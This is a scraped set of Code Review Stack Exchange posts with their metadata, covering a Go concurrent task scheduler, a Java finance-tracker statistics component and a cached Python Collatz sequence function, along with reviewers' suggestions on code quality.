Darwin\n</code></pre>\n\n<p>But there's a bunch of warnings that I tend to disable here as I see fit. Another option is <code>wemake-python-styleguide</code>, which is a very strict plugin for <code>flake8</code> (too strict for me, even). <code>mypy</code> is also great as a static type checker to find type bugs early.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T15:00:35.130", "Id": "231893", "ParentId": "231816", "Score": "3" } } ]
{ "AcceptedAnswerId": "231893", "CommentCount": "3", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T07:27:34.950", "Id": "231816", "Score": "2", "Tags": [ "python", "python-3.x", "rest", "wrapper" ], "Title": "REST call helper function returns empty response on timeout errors" }
231816
<p>I'm trying to do some task scheduler and worker. Tasks are added to the queue from which worker retrieves and processes them. Tasks from one queue must be executed sequentially. Tasks from different queues are executed in parallel. When the worker has completed all the tasks in the queue, he waits for a while and finishes his work. The queue must be removed from the schedule</p> <p>I did something, but I think it isn't the best solution. I think there may be problems when worker shuts down and closes the channel.</p> <p>Is my solution concurrency-safe?</p> <pre><code>// Schedule struct type Schedule struct { sync.RWMutex queues map[int]chan Task idle byte } // Scheduler pushes task to the queue func (s *Schedule) Scheduler(t Task, i int) { var queue chan Task var ok bool s.RLock() if queue, ok = s.queues[i]; !ok { s.RUnlock() s.Lock() if queue, ok = s.queues[i]; !ok { queue = make(chan Task) s.queues[i] = queue go s.worker(queue, i) } s.Unlock() } else { s.RUnlock() } queue &lt;- t } // Worker retrieves task from the queue and process func (s *Schedule) worker(c chan Task, i int) { timeout := time.After(s.idle * time.Second) done := false for !done { select { case task := &lt;-c: task.Execute() timeout = time.After(s.idle * time.Second) case &lt;-timeout: s.Lock() close(c) delete(s.queues, i) s.Unlock() done = true default: time.Sleep(10 * time.Millisecond) } } } </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T11:54:17.147", "Id": "452324", "Score": "0", "body": "besides a code review, how is the scheduling implemented in this snippet ? This snippet implements something that does look like a job queuer. `Is my solution concurrency-safe?` You need to write tests that tests the various behaviors of the algorithm lifetime and run them with the `-race` flag to enable the race detector. The code should not need those locks. You should be able to handle events with an async for loop select with an exclusive access to shared variables. Your code does not implement a mechanism to close the processing. I suggest you review those elements before going further." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T12:07:26.620", "Id": "452329", "Score": "0", "body": "I need to process jobs from the queue sequentially, in the same order in which they were added. But jobs from different queues must be processed asynchronously. When the queue is empty, the worker waits for a while, then closes and removes the queue from map. This is what I am trying to implement in this code" } ]
[ { "body": "<ol>\n<li>There is no need for the <code>default</code> clause in <code>Schedule.worker</code>.</li>\n<li>Memory side, it is better to create a <code>time.Timer</code> object and call <code>Timer.Reset</code> &amp; <code>Timer.Stop</code> on it.</li>\n<li>No need for the <code>done</code> variable, we can just <code>return</code> when we are done.</li>\n</ol>\n\n<pre class=\"lang-golang prettyprint-override\"><code>func (s *Schedule) worker(c chan Task, i int) {\n t := time.NewTimer(s.idle * time.Second)\n for {\n select {\n case task := &lt;-c:\n task.Execute()\n if !t.Stop() {\n &lt;-t.C\n }\n t.Reset(s.idle * time.Second)\n case &lt;-t.C:\n s.Lock()\n close(c)\n delete(s.queues, i)\n s.Unlock()\n return\n }\n }\n}\n</code></pre>\n\n<ol start=\"4\">\n<li>It is not advisable to close a channel from a receiver. Better to close the channel when you know that there are no more tasks and have the worker wait for that.</li>\n</ol>\n\n<pre class=\"lang-golang prettyprint-override\"><code>func (s *Schedule) worker(c chan Task, i int) {\n for task := range c {\n task.Execute()\n }\n}\n</code></pre>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-12-08T23:12:51.590", "Id": "233648", "ParentId": "231817", "Score": "1" } } ]
{ "AcceptedAnswerId": "233648", "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T07:33:57.977", "Id": "231817", "Score": "2", "Tags": [ "go", "concurrency" ], "Title": "Concurrency-safe task scheduler" }
231817
<p>I'm doing a Java software engineering team project in school and my team has decided on a Finance Tracker application, which contains the main components of Expense, Budget, Statistics, Suggestions and GUIPanels. Currently, the application only allows actions(add, delete, edit) on an expense to revolve around a primary budget and the statistics will also be tied to this primary budget. This is inspired from the git branching model that is available in the command line. </p> <p>I’m in charge of the Statistics component and I am seeking to get some advice on Code Quality I can improve on. These are some of the classes I am interested to get advice for. Basically these set of classes are supposed to process information given by user input and translate it into Trend Lines(The Java files containing the main JavaFX code is not included here) The reason for possibly a weird implementation especially in the <code>StatsTrendCommand</code> is because I want to allow for optional parameters, so the constructors have to accept a null, and all other classes has to support this design consideration. Some other common concerns include:</p> <p>1)How to better name the variables in the <code>TrendStatistics</code> class. </p> <p>Variable of type <code>double</code> include periodicTotalExpenditure</p> <p>Variables of 1 dimension List type include <code>categoricalExpenses</code>, <code>periodicBudgetLimits</code>, <code>periodicTotalExpenditures</code>, <code>periodicCategoricalExpenditure</code></p> <p>Variables of 2 dimension List include <code>periodicCategorisedExpenses</code></p> <p>2)What is a nice way to resolve the pass block in <code>TrendStatistics</code> class when both elements is required?</p> <p><strong>TrendStatistics.java</strong></p> <pre><code>package seedu.address.model.statistics; import static java.util.Objects.requireNonNull; import java.util.ArrayList; import java.util.List; import javafx.collections.ObservableList; import seedu.address.logic.commands.statistics.StatsTrendCommand; import seedu.address.model.budget.Budget; import seedu.address.model.budget.BudgetPeriod; import seedu.address.model.category.Category; import seedu.address.model.expense.Expense; import seedu.address.model.expense.Timestamp; /** * Represents the Statistics class that provides a trend line as its Visual Representation method */ public class TrendStatistics extends Statistics { public static final int INTERVAL_COUNT = 34; private Timestamp startDate; private Timestamp endDate; private Budget primaryBudget; private boolean budgetLimitMode; private ObservableList&lt;Expense&gt; expenses; private List&lt;Timestamp&gt; dates = new ArrayList&lt;&gt;(); private List&lt;Double&gt; periodicTotalExpenditures = new ArrayList&lt;&gt;(); private List&lt;Double&gt; periodicBudgetLimits = new ArrayList&lt;&gt;(); private List&lt;ArrayList&lt;Double&gt;&gt; periodicCategoricalExpenses = new ArrayList&lt;&gt;(); private TrendStatistics(ObservableList&lt;Expense&gt; expenses, List&lt;Category&gt; validCategories, Timestamp startDate, Timestamp endDate, Budget primaryBudget, boolean isBudgetMode) { super(expenses, validCategories); this.startDate = startDate; this.endDate = endDate; this.expenses = getExpenses(); this.primaryBudget = primaryBudget; this.budgetLimitMode = isBudgetMode; if (!budgetLimitMode) { for (int i = 0; i &lt; validCategories.size(); i++) { periodicCategoricalExpenses.add(new ArrayList&lt;&gt;()); } } } /** * Creates 2 trend lines to provide visual aid on the occurrence of total expenses relative to the budget limit * * @param expenses List of expenses * @param validCategories List of allowed categories in MooLah * @param startDate The start date of the tracking period * @param endDate The end date of the tracking period * @param primaryBudget The primary budget whose statistics is taken */ public static TrendStatistics run(ObservableList&lt;Expense&gt; expenses, List&lt;Category&gt; validCategories, Timestamp startDate, Timestamp endDate, Budget primaryBudget, boolean isBudgetMode) { requireNonNull(primaryBudget); boolean isStartPresent = startDate != null; boolean isEndPresent = endDate != null; if (isStartPresent &amp;&amp; isEndPresent) { //pass } else if (isStartPresent) { endDate = startDate.createForwardTimestamp(primaryBudget.getPeriod(), 2 * StatsTrendCommand.HALF_OF_PERIOD_NUMBER); } else if (isEndPresent) { startDate = endDate.createBackwardTimestamp(primaryBudget.getPeriod(), 2 * StatsTrendCommand.HALF_OF_PERIOD_NUMBER); } else { Timestamp centreDate = primaryBudget.getStartDate(); endDate = centreDate.createForwardTimestamp(primaryBudget.getPeriod(), StatsTrendCommand.HALF_OF_PERIOD_NUMBER); startDate = centreDate.createBackwardTimestamp(primaryBudget.getPeriod(), StatsTrendCommand.HALF_OF_PERIOD_NUMBER); } TrendStatistics statistics = TrendStatistics.verify(expenses, validCategories, startDate, endDate, primaryBudget, isBudgetMode); statistics.generateTrendLine(); return statistics; } /** * A method to practise defensive programming * @param expenses List of expenses * @param validCategories List of allowed categories in MooLah * @param startDate The start date of the tracking period * @param endDate The end date of the tracking period * @param primaryBudget The primary budget whose statistics is taken * @param isBudgetMode The condition to determine which mode is used */ private static TrendStatistics verify(ObservableList&lt;Expense&gt; expenses, List&lt;Category&gt; validCategories, Timestamp startDate, Timestamp endDate, Budget primaryBudget, boolean isBudgetMode) { requireNonNull(startDate); requireNonNull(endDate); requireNonNull(expenses); requireNonNull(validCategories); return new TrendStatistics(expenses, validCategories, startDate, endDate, primaryBudget, isBudgetMode); } /** * Gathers the data to be used for the elements of the trend line */ private void generateTrendLine() { ArrayList&lt;ArrayList&lt;ArrayList&lt;Expense&gt;&gt;&gt; data = new ArrayList&lt;&gt;(); BudgetPeriod period = primaryBudget.getPeriod(); Timestamp windowStartDate = primaryBudget.getStartDate(); Timestamp validDate = findClosestWindowStartDate(startDate, windowStartDate, period); int intervalCount = 0; while (hasInterval(validDate, endDate, period) &amp;&amp; intervalCount &lt; INTERVAL_COUNT) { Timestamp localStartDate = validDate; Timestamp nextLocalStartDate = localStartDate.plus(period.getPeriod()); Timestamp localEndDate = nextLocalStartDate.minusDays(1); ArrayList&lt;ArrayList&lt;Expense&gt;&gt; periodicCategorisedExpenses = getPeriodicCategorisedExpenses(localStartDate, localEndDate); if (budgetLimitMode) { double periodicTotalExpenditure = getTotalExpenditure(periodicCategorisedExpenses); this.periodicTotalExpenditures.add(periodicTotalExpenditure); periodicBudgetLimits.add(primaryBudget.getAmount().getAsDouble()); } else { List&lt;Double&gt; periodicCategoricalExpenditure = getCategoricalExpenditure(periodicCategorisedExpenses); flatMapAdd(periodicCategoricalExpenditure); } dates.add(localStartDate); intervalCount++; validDate = nextLocalStartDate; } this.setTitle(String.format("Periodic trendline from %s to %s in the unit of %ss", startDate.showDate(), endDate.showDate(), period)); } /** * Finds the window start date that is closest to the start date of interest * @param startDate The start date for the trend line * @param windowStartDate The start date for the current winndow * @param period The duration of the window */ private Timestamp findClosestWindowStartDate(Timestamp startDate, Timestamp windowStartDate, BudgetPeriod period) { Timestamp changedWindowDate = windowStartDate.createBackwardTimestamp(period); while (windowStartDate.dateIsAfter(startDate) &amp;&amp; changedWindowDate.dateIsAfter(startDate)) { windowStartDate = changedWindowDate; changedWindowDate = changedWindowDate.createBackwardTimestamp(period); } return windowStartDate; } /** * Adds the periodic expenditure from each category to its respective category list * @param periodicCategoricalExpenditure A list of total expenditure for each category */ private void flatMapAdd(List&lt;Double&gt; periodicCategoricalExpenditure) { for (int i = 0; i &lt; periodicCategoricalExpenditure.size(); i++) { ArrayList&lt;Double&gt; categoricalExpenses = periodicCategoricalExpenses.get(i); categoricalExpenses.add(periodicCategoricalExpenditure.get(i)); } } private ArrayList&lt;ArrayList&lt;Expense&gt;&gt; getPeriodicCategorisedExpenses(Timestamp startDate, Timestamp endDate) { TabularStatistics statistics = new TabularStatistics(expenses, getValidCategories(), startDate, endDate); ArrayList&lt;ArrayList&lt;Expense&gt;&gt; dataWithTotal = statistics.extractRelevantExpenses(startDate, endDate); dataWithTotal.remove(dataWithTotal.size() - 1); return dataWithTotal; } private double getExpenditureForCategory(ArrayList&lt;Expense&gt; categorisedExpenses) { double total = 0; for (Expense expense : categorisedExpenses) { total += Double.parseDouble(expense.getPrice().value); } return total; } private double getTotalExpenditure(ArrayList&lt;ArrayList&lt;Expense&gt;&gt; data) { double total = 0; for (ArrayList&lt;Expense&gt; categorisedExpenses : data) { total += getExpenditureForCategory(categorisedExpenses); } return total; } private List&lt;Double&gt; getCategoricalExpenditure(ArrayList&lt;ArrayList&lt;Expense&gt;&gt; data) { ArrayList&lt;Double&gt; result = new ArrayList&lt;&gt;(); for (ArrayList&lt;Expense&gt; categorisedExpenses : data) { result.add(getExpenditureForCategory(categorisedExpenses)); } return result; } public List&lt;ArrayList&lt;Double&gt;&gt; getPeriodicCategoricalExpenses() { return periodicCategoricalExpenses; } private static boolean hasInterval (Timestamp validDate, Timestamp endDate, BudgetPeriod period) { return validDate.isBefore(endDate) &amp;&amp; (validDate.plus(period.getPeriod())).isBefore(endDate); } public List&lt;Timestamp&gt; getDates() { return dates; } public List&lt;Double&gt; getPeriodicTotalExpenditure() { return periodicTotalExpenditures; } public List&lt;Double&gt; getPeriodicBudgetLimits() { return periodicBudgetLimits; } public boolean isBudgetLimitMode() { return budgetLimitMode; } public String toString () { return String.format("%s\n%s", getTitle(), getPeriodicTotalExpenditure()); } } </code></pre> <p><strong>Statistics.java</strong></p> <pre><code>package seedu.address.model.statistics; import static java.util.Objects.requireNonNull; import java.util.List; import javafx.collections.ObservableList; import seedu.address.logic.commands.statistics.StatsCommand; import seedu.address.logic.commands.statistics.StatsCompareCommand; import seedu.address.logic.commands.statistics.StatsTrendCommand; import seedu.address.model.budget.Budget; import seedu.address.model.category.Category; import seedu.address.model.expense.Expense; import seedu.address.model.expense.Timestamp; /** * Represents the Statistics class in MooLah. */ public class Statistics { public static final String MESSAGE_CONSTRAINTS_END_DATE = "Start date must be before end date."; private ObservableList&lt;Expense&gt; expenses; private final List&lt;Category&gt; validCategories; private int categorySize; private String title; /** * Creates a Statistics object * @param expenses A list of expenses in the current budget * @param validCategories A list of tags used among all expenses */ public Statistics(ObservableList&lt;Expense&gt; expenses, List&lt;Category&gt; validCategories) { requireNonNull(validCategories); requireNonNull(expenses); this.expenses = expenses; this.validCategories = validCategories; this.categorySize = validCategories.size(); } /** * Returns the lists of all expenses in the current budget */ public ObservableList&lt;Expense&gt; getExpenses() { return expenses; } public String getTitle() { return title; } List&lt;Category&gt; getValidCategories() { return validCategories; } int getCategorySize() { return categorySize; } /** * The main handler method of the Statistics model object to identify what kind of Statistics has to be done * with each command word * @param expenses List of expenses * @param command Command word provided by the user * @param date1 First date input given by the user * @param date2 Second date input given by the user * @param primaryBudget The primary budget whose statistics is taken */ public static Statistics calculateStats(ObservableList&lt;Expense&gt; expenses, String command, Timestamp date1, Timestamp date2, Budget primaryBudget, boolean isBudgetMode) { requireNonNull(expenses); List&lt;Category&gt; validCategories = Category.getValidCategories(); switch (command) { case StatsCommand.COMMAND_WORD: return PieChartStatistics.run(expenses, validCategories, date1, date2, primaryBudget); case StatsCompareCommand.COMMAND_WORD: return TabularStatistics.run(expenses, validCategories, date1, date2, primaryBudget); case StatsTrendCommand.COMMAND_WORD: return TrendStatistics.run(expenses, validCategories, date1, date2, primaryBudget, isBudgetMode); default: return null; } } void setTitle(String title) { this.title = title; } } </code></pre> <p><strong>StatsTrendCommand.java</strong></p> <pre><code>package seedu.address.logic.commands.statistics; import static java.util.Objects.requireNonNull; import static seedu.address.commons.core.Messages.MESSAGE_DISPLAY_STATISTICS_WITHOUT_BUDGET; import static seedu.address.logic.parser.CliSyntax.PREFIX_END_DATE; import static seedu.address.logic.parser.CliSyntax.PREFIX_MODE; import static seedu.address.logic.parser.CliSyntax.PREFIX_START_DATE; import seedu.address.logic.commands.Command; import seedu.address.logic.commands.CommandResult; import seedu.address.logic.commands.exceptions.CommandException; import seedu.address.model.Model; import seedu.address.model.expense.Timestamp; import seedu.address.model.statistics.Mode; import seedu.address.model.statistics.TrendStatistics; import seedu.address.ui.StatsPanel; /** * Calculates and displays statistics */ public class StatsTrendCommand extends Command { public static final String COMMAND_WORD = "statstrend"; public static final String MESSAGE_USAGE = COMMAND_WORD + ": Shows statistics trends for regular periods between the Start Date and End Date. " + "Parameters: " + PREFIX_START_DATE + "START_DATE " + PREFIX_END_DATE + "END_DATE " + PREFIX_MODE + "CATEGORY_OR_BUDGET " + "\nExample: " + COMMAND_WORD + " " + PREFIX_START_DATE + "11-11-1111 " + PREFIX_END_DATE + "12-12-1212 " + PREFIX_MODE + "category"; public static final String MESSAGE_SUCCESS = "Statistics Trend Calculated!"; public static final int HALF_OF_PERIOD_NUMBER = TrendStatistics.INTERVAL_COUNT / 2; private final Timestamp startDate; private final Timestamp endDate; private final boolean mode; private StatsTrendCommand(Timestamp date1, Timestamp date2, Mode mode) { requireNonNull(mode); this.startDate = date1; this.endDate = date2; this.mode = mode.isBudgetMode(); } @Override protected void validate(Model model) throws CommandException { requireNonNull(model); if (!model.hasPrimaryBudget()) { throw new CommandException(MESSAGE_DISPLAY_STATISTICS_WITHOUT_BUDGET); } } @Override public CommandResult execute(Model model) { requireNonNull(model); model.calculateStatistics(COMMAND_WORD , startDate, endDate, mode); return new CommandResult(MESSAGE_SUCCESS, false, false, StatsPanel.PANEL_NAME); } /** * Creates a StatsTrendCommand that only contains a start date * @param startDate The start date * @param mode The mode specified by the user */ public static StatsTrendCommand createOnlyWithStartDate(Timestamp startDate, Mode mode) { requireNonNull(startDate); return new StatsTrendCommand(startDate, null, mode); } /** * Creates a StatsTrendCommand that only contains an end date * @param endDate The end date * @param mode The mode specified by the user */ public static StatsTrendCommand createOnlyWithEndDate(Timestamp endDate, Mode mode) { requireNonNull(endDate); return new StatsTrendCommand(null, endDate, mode); } /** * Creates a StatsTrendCommand that contains a start date and an end date * @param startDate The start date * @param endDate The end date * @param mode The mode specified by the user */ public static StatsTrendCommand createWithBothDates(Timestamp startDate, Timestamp endDate, Mode mode) { requireNonNull(startDate); requireNonNull(endDate); requireNonNull(mode); return new StatsTrendCommand(startDate, endDate, mode); } /** * Creates a StatsTrendCommand that does not contain a start date or end date * @param mode The mode specified by the user */ public static StatsTrendCommand createWithNoDate(Mode mode) { return new StatsTrendCommand(null, null, mode); } @Override public boolean equals(Object other) { return other == this //short circuit if same object || (other instanceof StatsTrendCommand // instance of handles nulls &amp;&amp; startDate.equals(((StatsTrendCommand) other).startDate) &amp;&amp; endDate.equals(((StatsTrendCommand) other).endDate)); } } </code></pre> <p><strong>StatsTrendCommandParser.java</strong></p> <pre><code>package seedu.address.logic.parser; import static seedu.address.commons.core.Messages.MESSAGE_INVALID_COMMAND_FORMAT; import static seedu.address.commons.core.Messages.MESSAGE_REPEATED_PREFIX_COMMAND; import static seedu.address.logic.parser.CliSyntax.PREFIX_END_DATE; import static seedu.address.logic.parser.CliSyntax.PREFIX_MODE; import static seedu.address.logic.parser.CliSyntax.PREFIX_START_DATE; import java.util.Collections; import java.util.List; import java.util.stream.Stream; import seedu.address.logic.commands.statistics.StatsTrendCommand; import seedu.address.logic.parser.exceptions.ParseException; import seedu.address.model.expense.Timestamp; import seedu.address.model.statistics.Mode; import seedu.address.model.statistics.Statistics; /** * Parses input arguments and creates a new StatsTrendCommand object */ public class StatsTrendCommandParser implements Parser&lt;StatsTrendCommand&gt; { public static final List&lt;Prefix&gt; REQUIRED_PREFIXES = Collections.unmodifiableList(List.of(PREFIX_MODE)); public static final List&lt;Prefix&gt; OPTIONAL_PREFIXES = Collections.unmodifiableList(List.of( PREFIX_START_DATE, PREFIX_END_DATE)); /** * Parses the given {@code String} of arguments in the context of the StatsTrendCommand * and returns an StatsTrendCommand object for execution. * @throws ParseException if the user input does not conform the expected format */ public StatsTrendCommand parse(String args) throws ParseException { ArgumentMultimap argMultimap = ArgumentTokenizer.tokenize(args, PREFIX_START_DATE, PREFIX_END_DATE, PREFIX_MODE); if (!arePrefixesPresent(argMultimap, PREFIX_MODE) || !argMultimap.getPreamble().isEmpty()) { throw new ParseException(String.format(MESSAGE_INVALID_COMMAND_FORMAT, StatsTrendCommand.MESSAGE_USAGE)); } if (hasRepeatedPrefixes(argMultimap, PREFIX_START_DATE, PREFIX_END_DATE, PREFIX_MODE)) { throw new ParseException(MESSAGE_REPEATED_PREFIX_COMMAND); } Timestamp startDate = null; Timestamp endDate = null; boolean isStartPresent = argMultimap.getValue(PREFIX_START_DATE).isPresent(); boolean isEndPresent = argMultimap.getValue(PREFIX_END_DATE).isPresent(); Mode mode = ParserUtil.parseMode(argMultimap.getValue(PREFIX_MODE).get()); if (isStartPresent &amp;&amp; isEndPresent) { checkStartBeforeEnd(argMultimap); startDate = ParserUtil.parseTimestamp(argMultimap.getValue(PREFIX_START_DATE).get()); endDate = ParserUtil.parseTimestamp(argMultimap.getValue(PREFIX_END_DATE).get()); return StatsTrendCommand.createWithBothDates(startDate, endDate, mode); } else if (isStartPresent) { startDate = ParserUtil.parseTimestamp(argMultimap.getValue(PREFIX_START_DATE).get()); return StatsTrendCommand.createOnlyWithStartDate(startDate, mode); } else if (isEndPresent) { endDate = ParserUtil.parseTimestamp(argMultimap.getValue(PREFIX_END_DATE).get()); return StatsTrendCommand.createOnlyWithEndDate(endDate, mode); } else { return StatsTrendCommand.createWithNoDate(mode); } } /** * Returns true if none of the prefixes contains empty {@code Optional} values in the given * {@code ArgumentMultimap}. */ private static boolean arePrefixesPresent(ArgumentMultimap argumentMultimap, Prefix... prefixes) { return Stream.of(prefixes).allMatch(prefix -&gt; argumentMultimap.getValue(prefix).isPresent()); } /** * Returns true at least one prefix have more than to one value * {@code ArgumentMultiMap}. */ private static boolean hasRepeatedPrefixes(ArgumentMultimap argumentMultimap, Prefix... prefixes) { return !(Stream.of(prefixes).allMatch(prefix -&gt; argumentMultimap.getAllValues(prefix).size() &lt;= 1)); } /** * Parses the given {@code String} of arguments in the context of the StatsTrendCommand * Checks that start date is before the end date of the given {@code ArgumentMultimap} * * @throws ParseException if the detected start date is after the end date */ private void checkStartBeforeEnd(ArgumentMultimap argMultimap) throws ParseException { Timestamp startDate = ParserUtil.parseTimestamp(argMultimap.getValue(PREFIX_START_DATE).get()); Timestamp endDate = ParserUtil.parseTimestamp(argMultimap.getValue(PREFIX_END_DATE).get()); if (endDate.isBefore(startDate)) { throw new ParseException(Statistics.MESSAGE_CONSTRAINTS_END_DATE); } } } </code></pre> <p><strong>Relevant section of ModelManager.java</strong></p> <pre><code>@Override public void calculateStatistics(String command, Timestamp date1, Timestamp date2, boolean isBudgetMode) { ObservableList&lt;Expense&gt; primaryBudgetExpenses = getPrimaryBudget().getExpenses(); Statistics statistics = Statistics.calculateStats(primaryBudgetExpenses, command, date1, date2, getPrimaryBudget(), isBudgetMode); this.setStatistics(statistics); } public Statistics getStatistics() { return statistics; } public void setStatistics(Statistics statistics) { requireNonNull(statistics); this.statistics = statistics; } </code></pre> <p>I am open to any kind of feedback on code quality, and I’m still testing whether the code works logically. Therefore, I want the code here to be checked not for logic errors(unless there is some fatal flaw you observe) but instead for code quality. Do inform me if more code or some clarification is required for a better review. Thanks in advance.</p> <p><strong>Update</strong></p> <p>The code works now, completed the JUnit tests, whose code I won't be showing here until requested.</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T10:23:25.427", "Id": "452308", "Score": "1", "body": "You really should verify whether this works correctly *before* putting it up for review, as per the [help/on-topic]. Please confirm whether you've tested this to any length." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T10:33:19.947", "Id": "452310", "Score": "0", "body": "This code compiles and works(no exceptions thrown or wrong input) for most identified cases. However, this is definitely still under testing stages so there is no guarantee that it is perfectly correct, so I'm not checking for output correctness but rather quality" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T12:20:55.623", "Id": "452335", "Score": "0", "body": "Considering the code doesn't work for all cases you tried, the code isn't ready for review. Please fix the logical problems first, we can help with code quality afterwards." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T12:44:27.750", "Id": "452340", "Score": "1", "body": "@Mast I have resolved the logical problems already, it is in good condition to be reviewed." } ]
[ { "body": "<p>I have some suggestions to improve readibility of your code: you are using <a href=\"https://docs.oracle.com/javase/7/docs/api/java/util/Objects.html#requireNonNull\" rel=\"nofollow noreferrer\">RequireNonNull</a> in several points of your code like below:</p>\n\n<blockquote>\n<pre><code>requireNonNull(startDate);\nrequireNonNull(endDate);\nrequireNonNull(expenses);\nrequireNonNull(validCategories);\n</code></pre>\n</blockquote>\n\n<p>To identify which field is currently null you can add a single message to every RequireNonNull like below:</p>\n\n<pre><code>requireNonNull(startDate, \"startDate must not be null\");\nrequireNonNull(endDate, \"endDate must not be null\");\nrequireNonNull(expenses, \"expenses must not be null\");\nrequireNonNull(validCategories, \"validCategories must not be null\");\n</code></pre>\n\n<p>About the method <code>run</code> in your <code>TrendStatistics</code> class it contains an <code>if then</code> like below:</p>\n\n<blockquote>\n<pre><code>if (isStartPresent &amp;&amp; isEndPresent) {\n //pass\n} else if (isStartPresent) { //omitted\n} else if (isEndPresent) { //omitted\n} else { //omitted\n}\n</code></pre>\n</blockquote>\n\n<p>You can remodulate it excluding the case where both values are true like the code below:</p>\n\n<pre><code>boolean isStartPresent = startDate != null;\nboolean isEndPresent = endDate != null;\nfinal BudgetPeriod period = primaryBudget.getPeriod();\nfinal int half = StatsTrendCommand.HALF_OF_PERIOD_NUMBER;\nif (!isStartPresent &amp;&amp; !isEndPresent) { ...omitted }\nif (!isStartPresent &amp;&amp; isEndPresent) { ...omitted }\nif (isStartPresent &amp;&amp; !isEndPresent) { ...omitted }\n</code></pre>\n\n<p>In your code you use raw types like below:</p>\n\n<blockquote>\n<pre><code>ArrayList&lt;ArrayList&lt;ArrayList&lt;Expense&gt;&gt;&gt; data = new ArrayList&lt;&gt;();\n</code></pre>\n</blockquote>\n\n<p>You can instead use <code>List</code> instead of <code>ArrayList</code> like the line below:</p>\n\n<pre><code>List&lt;List&lt;List&lt;Expense&gt;&gt;&gt; data = new ArrayList&lt;&gt;();\n</code></pre>\n\n<p>I have seen in your code you are using in your methods lot of parameters (about 8) as in your classes definitions; to improve readibility of code I would suggest you to limit parameters and methods to a maximum of 3 or 4, if you use method names like <code>verify</code> I expect those returning a boolean value and not a new class object, same approach for methods like <code>generateTrendLine</code> that fo me should return an object instead of <code>void</code>.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T16:10:01.320", "Id": "452519", "Score": "0", "body": "What would be a good way to name the method `verify`? That method was meant to do defensive programming, but to use a super constructor, the constructor always goes before the assertion, which makes it useless" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T16:46:10.000", "Id": "452524", "Score": "0", "body": "@PrashinJeevaganth, your method returns an instance of object using creation parameters , so something like `Factory` to indicate the creation of a new object could help to understand what method does. `Verify` for me means you are examining something returning a boolean." } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T15:33:57.873", "Id": "231896", "ParentId": "231825", "Score": "1" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "4", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T10:00:53.027", "Id": "231825", "Score": "3", "Tags": [ "java", "object-oriented", "statistics" ], "Title": "Statistics component of Finance Tracker" }
231825
<p>I've written a small script to calculate Collatz sequences. For background, read <a href="https://en.wikipedia.org/wiki/Collatz_conjecture" rel="nofollow noreferrer">here about the Collatz conjecture</a>. Largest number I've tried so far in my implementation is 93571393692802302 (which wikipedia claims is the number requiring most steps below 10e17), which needs 2091 steps. Apparently I count different from Wikipedia, as my <code>len(collatz(93571393692802302))</code> is 2092 long, but I include the number itself as well as the final 1 .</p> <p>A Collatz sequence takes a number, and calculates the next number in sequence as following:</p> <ul> <li>If it is even, divide by two</li> <li>If it is odd, triple and add one.</li> </ul> <p>The Collatz Conjecture claims that all sequences created this way converge to 1. It is unproven, but it seems most mathematicians suspect it's True.</p> <p>Without further ado, the code:</p> <pre class="lang-py prettyprint-override"><code>from typing import List collatz_cache = {} def _calc(number: int) -&gt; int: """ Caches this number in the collatz_cache, and returns the next in sequence. :param number: Integer &gt; 1. :return: Integer &gt; 0 """ if number % 2 == 0: next_number = number // 2 else: next_number = number * 3 + 1 collatz_cache[number] = next_number return next_number def collatz(number: int) -&gt; List[int]: """ Returns the collatz sequence of a number. :param number: Integer &gt; 0 :return: Collatz sequence starting with number """ if not isinstance(number, int): raise TypeError(f"Collatz sequence doesn't make sense for non-integers like {type(number).__name__}") if number &lt; 1: raise ValueError(f"Collatz sequence not defined for {type(number).__name__}({number})") new_number = number result = [number] while new_number not in collatz_cache and new_number != 1: new_number = _calc(new_number) result.append(new_number) while result[-1] != 1: result.append(collatz_cache[result[-1]]) return result </code></pre> <p>I've tried to minimize calculation time in repeated attempts by creating a mapping for each number to the next number in the sequence. First I just mapped to the full list, but that would make the dictionary a bit bigger than I really wanted. </p> <p>I feel that there should be some gains to be made in the list construction, but I'm at loss as to the how.</p> <p>Purpose of this code is to basically be a general library function. I want to:</p> <ul> <li>Be fast</li> <li>Be memory efficient with my cache</li> <li>Handle multiple equal/partially overlapping sequences</li> <li>Handle completely different sequences</li> </ul> <p>And all of that at the same time. Any code stylistic improvements are of course welcome, but any suggestions improving the above goals without disproportional disadvantage to the others are also welcome.</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T15:39:46.417", "Id": "452368", "Score": "0", "body": "Can you add a `main` function demonstrating what you program actually does? It is for computing the Collatz sequence for a single number? Or does it compute many Collatz sequences? Or does it try to find the longest sequence (in some range)?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T15:45:07.937", "Id": "452372", "Score": "0", "body": "Any/all of the above really. I want to be efficient in time and space, accounting for repeated invocations regardless of same/new inputs. I'll edit it into the question." } ]
